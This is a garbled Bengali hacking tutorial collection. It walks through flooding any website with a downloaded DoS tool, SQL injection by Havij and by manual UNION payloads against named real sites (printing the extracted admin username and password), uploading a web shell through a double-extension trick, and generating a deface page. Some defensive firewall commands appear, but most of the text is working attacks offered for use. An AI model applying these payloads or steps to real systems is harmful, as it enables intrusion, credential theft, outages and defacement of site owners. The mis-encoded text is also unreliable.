DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

